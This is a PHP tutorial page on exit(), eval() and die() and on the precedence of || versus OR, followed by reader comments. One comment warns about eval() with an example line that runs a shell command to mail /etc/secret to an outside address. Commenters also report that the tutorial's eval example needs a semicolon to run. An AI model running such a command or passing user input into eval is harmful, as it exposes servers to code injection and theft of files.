Hudzilla.org - the homepage of Paul Hudson
Contents > Functions Wish List | Report Bug | About Me ]

4.4     Controlling script execution: exit(), eval(), and die()

This is NOT the latest copy of this book; click here for the latest version.

void exit ( [mixed status])

mixed eval ( [string code_string])

void die ( [mixed status])

Two simple functions give your scripts much more power: exit() and eval() - both are very easy. Exit() takes just one optional parameter, and terminates execution of the script immediately. If you pass a parameter, this is used as the script exit code, and, if it is a string, is printed out. Note that the function die() is an alias of the exit() function and works the same way. Eval() is another function that takes one string parameter, but it executes that string as if it were PHP code. Here are examples of both exit() and eval() in action:

<?php
    $str
= "exit()";
    eval(
$str);
?>

For the pedants out there: exit() is not technically a function, it's a language construct.

That script assigns "exit()" to $str, then passes $str into eval(). As I mentioned, eval() will execute the string it gets as if it were PHP code, so the end result is that PHP runs the exit() function through eval(), and terminates the script.

Exit() is a very common function, and is used wherever you need to end a script with no further work. For example:

if ($blah != $blahblah) {
    print
"Access denied.";
    exit;
}

Eval() might seem a little pointless to you, but it is actually very helpful - it allows you to pass in any text string as PHP code and have it executed. This allows you to store your PHP code in a database, or to calculate it on the fly, which gives you a lot more flexibility. Admittedly, eval() is nowhere near as helpful as exit(), but it is still good to know.

The exit() function takes a maximum of one parameter, which can either be a program return number or a string. Many programs return numbers so that they can be chained to other programs and their output properly judged. In this case, 0 usually means, "everything went OK", and everything else means, "something went wrong". Using exit() with a string causes PHP to output the string then terminate the script - a behaviour commonly used by programmers with exit()'s alias, die(), like this:

do_some_func() OR die("do_some_func() returned false!");

In that situation, do_some_func() will be called, and, if it returns false, die() will be called to terminate the script. This is a fast and easy way to make sure that certain functions have run successfully before you get into the meat of your script. The reason that code works is because the OR operator means that PHP will only execute the second function if the first function returned false.

Note that this is the most common use for the OR operator. If you recall from earlier, the || operator comes higher than the OR operator in terms of precedence, and, more importantly, || also comes higher than =.

Now, take a moment to think this through: what does this next line of code do?

$fp = fopen("somefile", "r") || die("Could not open file!");

On the surface, it looks like our previous example of die() - PHP will try to load the file "somefile" and store a file pointer to it in $fp, and, if it fails, will exit with the message "Could not open file!"

However, that is not actually what is done. Instead, because || has a higher precedence than =, it is calculated first. So, first PHP will attempt to load somefile. If it succeeds, fopen() will return a resource that evaluates to true. Naturally all calls to die() succeed, so die() will also always be evaluated as true. However, because PHP will short-circuit the || operator, when fopen() succeeds die() will not be called and the || operator will return 1 (true) because the operand on its left side (the call to fopen()) returned true.

Essentially, PHP reads the line of code like this:

$fp = (fopen("somefile", "r") || die("Could not open file!"));

Finally, this 1 will be assigned to $fp. This is clearly not what was intended, and this is where the OR operator comes in. As OR has a lower priority than =, PHP reads the line of code like this:

($fp = fopen("somefile", "r")) or die("Could not open file!");

That is, fopen() is called and its value assigned to $fp, which is then put through the comparison operator. As you can see, there really is a need to have both || and OR around, but just please make sure you pick the correct one!

Author's Note: I suggest you keep the following quote in mind from the creator of PHP, Rasmus Lerdorf: "If eval() is the answer, you're almost certainly asking the wrong question." That is not to say that eval() is bad, merely that you should think twice if not three times before using it.





<< 4.3 Working with variables: isset(), empty(), and unset()   4.5 Working with Date and Time >>
Table of Contents
Want to see this stuff in print? PHP in a Nutshell takes the core topics covered here, adds in thousands of edits from the editorial team and myself, and combines them to make an unbeatable reference for PHP programmers at all levels.



My latest book has hundreds more tips on how to use PHP, Apache, and MySQL, plus Perl, Python, shell scripts, performance tuning, and more!



Top-right shadow
 
Bottom-left shadow Bottom shadow

Comments from other readers
Just Me - 29 Aug 2008

Does this guy ever reply? Does he read these posts? just wondering... nevermind

kazaj - 29 Aug 2008

This example gives an error, but i found it in declaration of $str. The declaration should be $str = "exit();";

<?php
$str = "exit()";
eval($str);
?>

A PHP User - 29 Aug 2008

I agree eval is a dangerous function, if a user has control over the input to it they can do anything

eg:

eval("print `mail themself@home -s look </etc/secret`;");

would be a risk....

TxtEdMacs - 29 Aug 2008

I must be asking ALL the wrong questions. When I see eval(), which is combined with text strings calculated on the fly for databases; I think dynamic web pages and database queries calculated at run time. As far as I know, even the addition of the execute-immediate (Dynamic SQL) to Sybase ASE in about version 12.5 could not match the macro expansion of strings to create runtime queries under FoxPro. [The former fails due to the loss of all memory of the operation, unless stored in a "permanent" tempory table or into a regular table. Afterwards upon which further processing and cleanup would be required.]

I guess I will soon be looking for trouble.

A PHP User - 29 Aug 2008

For some reason, eval() seems like a dangerous function. Be careful of what variables you are passing and make sure, the end user isnt able to manipulate any of them.

rozrazil@hotmail.com - 29 Aug 2008

I tried your script:

<?php
$str = "exit()";
eval($str);
?>

on my machine (unfortunately under PHP Version 4.3.3) and it only works if I set semicolon after exit():

$str = "exit();";

Otherwise it says PARSE ERROR.



Add comment
Please note that by posting a comment here you are committing it to the public domain. This is important so that others can make use of your code themselves, and also so that I can incorporate helpful notes directly into the main text. Comments are limited to 2000 characters in length.

If you are reporting an error in the content, please tell me directly.

Your name/email address:
Your comment:
 
Now, in order to verify that you're a real person, please answer this simple question: what is ten plus three?
The answer is:
(please write in
numbers, eg 19)


Top-right shadow
 
Bottom-left shadow Bottom shadow